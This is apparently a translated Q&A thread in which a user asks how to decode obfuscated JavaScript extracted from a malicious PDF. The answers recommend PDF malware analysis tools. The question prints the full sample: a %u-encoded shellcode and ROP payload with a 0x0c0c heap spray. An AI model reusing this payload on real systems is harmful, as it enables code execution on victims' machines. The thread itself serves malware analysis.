5

ある事実、悪意のあることを実行するJavaScriptスクリプトファイルが含まれていることを知っているPDFファイルがありますが、現時点では実際には何がわかりません。

PDFファイルを正常に解凍し、プレーンテキストのJavaScriptソースコードを取得しましたが、これまでに見たことのないこの構文に隠されている場合は、コード自体です。

コード例:これは、コードの大部分がどのように見えるかです

var bDWXfJFLrOqFuydrq = unescape;
var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692....')

長い変数/関数名と非表示のテキスト文字を使用したこの表記は、これらのタイプのものを検索するスキャナーを混乱させるためだと思います。

2つの質問:

質問1

誰かがこれが何と呼ばれているのか教えてもらえますか%u4141

質問2

その表記を平文に変換して、それが何をしているのかを確認できるツールはありますか?

完全なJSコード:

var B = unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uadba%u8e19%uda62%ud9cb%u2474%u58f4%uc931%u49b1%u5031%u8314%ufce8%u5003%u4f10%u72ec%u068a%u8b0f%u784b%u6e99%uaa7a%ufbfd%u7a2f%ua975%uf1c3%u5adb%u7757%u6df4%u3dd0%u4322%uf0e1%u0fea%u9321%u4d96%u7376%u9da6%u728b%uc0ef%u2664%u8fb8%ud6d7%ud2cd%ud7eb%u5901%uaf53%u9e24%u0520%ucf26%u1299%uf760%u7c92%u0651%u9f76%u41ad%u6bf3%u5045%ua2d5%u62a6%u6819%u4a99%u7194%u6ddd%u0447%u8e15%u1efa%uecee%uab20%u57f3%u0ba2%u66d0%ucd67%u6593%u9acc%u69fc%u4fd3%u9577%u6e58%u1f58%u541a%u7b7c%uf5f8%u2125%u0aaf%u8d35%uae10%u3c3d%uc844%u291f%ue6a9%ua99f%u71a5%u9bd3%u296a%u907b%uf7e3%ud77c%u4fd9%u2612%uafe2%ued3a%uffb6%uc454%u94b6%ue9a4%u3a62%u45f5%ufadd%u25a5%u928d%ua9af%u82f2%u63cf%u289b%ue435%u0464%ufd34%u560c%ue837%udf7f%u78d1%u8990%u154a%u9009%u8401%u0fd6%u866c%ua35d%u4990%uce96%u3e82%u8556%ue9f9%u3069%u1597%ubefc%u413e%ubc68%ua567%u3f37%ubd42%ud5fe%uaa2d%u39fe%u2aae%u53a9%u42ae%u070d%u77fd%u9252%u2b91%u1cc7%u98c0%u7440%uc7ee%udba7%u2211%u2036%u0bc4%u50bc%u7862%u417c');

var C = unescape("%"+"u"+"0"+"c"+"0"+"c"+"%u"+"0"+"c"+"0"+"c");

while (C.length + 20 + 8 < 65536) C+=C;

D = C.substring(0, (0x0c0c-0x24)/2);

D += B;
D += C;
E = D.substring(0, 65536/2);
while(E.length < 0x80000) E += E;
F = E.substring(0, 0x80000 - (0x1020-0x08) / 2);
var G = new Array();
for (H=0;H<0x1f0;H++) G[H]=F+"s";​
4

2 に答える 2

20

既に PDF から JavaScript を抽出しているようです。あなたの問題は、この JavaScript の分析にあるようです。

このトピック (無害に見える PDF ファイルに悪意のある JavaScript コードを難読化して隠す) は、マルウェア作成者の間でますます人気が高まっているように思われるため、この種の脅威を分析する初心者にとって役立つことが証明されているツールと Web サイトをいくつか挙げてみましょう。 :

  1. Didier Stevens の PDF ツール
  2. Didier Stevens の PDF マルウェア スクリーンキャスト(YouTube で公開) のパート 1 (多数のうち)
  3. Jay Berkenbilt の QPDF:コンテンツを保持する PDF 変換用のユーティリティ (PDF 内のすべて/ほとんどの圧縮オブジェクトを展開する便利なコマンド:
    qpdf --qdf original.pdf unpacked.pdf
    次に unpacked.pdf をテキスト エディターで開きます)
  4. PDF マルウェアの難読化に関する Julia Wolf のプレゼンテーション
  5. peepdf: PDF を調査するための Python ツール (悪意のあるものかどうかを調べる)
  6. PDFTricks: PDF ソースコードの難読化方法の (網羅的ではない) リスト
  7. Wepawet: PDF/Javascript/Flash ファイルを分析するためのオンライン リソース (レポートを生成)
  8. Origami-PDF:悪意のある PDF を分析および生成する Ruby ツール
  9. (... ここに記載されていない多くのリソース...)

質問で提供したJavascriptスニペットをどのように正確に抽出したかわかりません。しかし、どうしても、PDF 内のすべての JS コードを見つけたことに頼らないでください。ただし、どこを調べて、すべての可能な難読化を明らかにする方法を知っている PDF の専門家でない限りは。(ツール No. 3 をソース PDF に適用し、結果の PDF を No. 6 のヒントに照らして確認することをお勧めします。他のツールは、実際に役立つようにする前に、PDF 構文をさらに研究する必要がある場合があります。あなたへ。)


アップデート

ここに私の(ほぼ3年)古い答えの更新があります。追加する価値があります:

  1. pdfinfo -js: 最新の (XPDF ベースではなく、Poppler ベースの!) バージョンpdfinfo( 2013 年 12 月 11 日にリリースされたv0.25.0-js以降)では、PDF ファイルに埋め込まれた JavaScript コードを出力するコマンド ライン パラメーターが認識されるようになりました。

    /JavaScriptこれは、PDF ソース コード内の名前が、または類似の (正式に合法的な) PDF 名構造を使用して難読化されて/4Aavascriptいる/J#61v#61script多くの場合でも機能します。

    残念ながら、この素晴らしい機能の追加pdfinfoは、まだあまり知られていません。共有してください!

更新 2

上記のpeepdfツールに最近extractサブコマンドが追加されたため、別の更新:

  1. peepdf.js: これは、PDF ファイルを分析できる Python ベースのコマンド ライン ツールです。主に「ファイルが有害かどうかを調べる」ために Jose Miguel Esparza によって開発されましたが、PDF ファイル構造の一般的な調査にも非常に適しています。

    インストールと使用法:

    1. GitHub リポジトリのクローンを作成します:
      git clone https://github.com/jesparza/peepdf git.peepdf.
    2. peepdf.pyスクリプトへのシンボリック リンクを作成し、次の場所に配置します$PATH
      cd git.clone ;
      ln -s $(pwd)/peepdf.py ${HOME}/bin/peepdf.py
    3. インタラクティブ モードで実行し、PDF ファイルを開きます。
      peepdf.py -fil my.pdf
    4. コマンドを使用して、extract js > all-js-in-my.pdfに含まれるすべての JavaScript を抽出my.pdfし、ファイルにリダイレクトします。これは、以下のスクリーンショットに示されています。

于 2012-04-19T16:08:53.357 に答える
1

それらは、メモリ アドレス、OS 呼び出し、ヒープ スプレーなど、何でもかまいません。

手がかりは、呼び出される関数がunescape. unescapeそのテキストに必要な実際の値を取得するには。http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.htmlなど、テキストのエスケープを解除するためのオンライン ツールがあります。

結果は ASCII ではゴミになる可能性がありますが、それを 16 進エディタにプラグインして、それをさらに理解できるかどうかを確認できます。ウィルス スキャナがそのファイルの感染源を特定できれば、その特定のマルウェアについてさらに調査を行い、そのコードが何を行っているかを突き止めることができるかもしれません。

科学のために、Windows VM を起動して実行し、その動作を確認してください:)

于 2012-04-19T01:43:59.603 に答える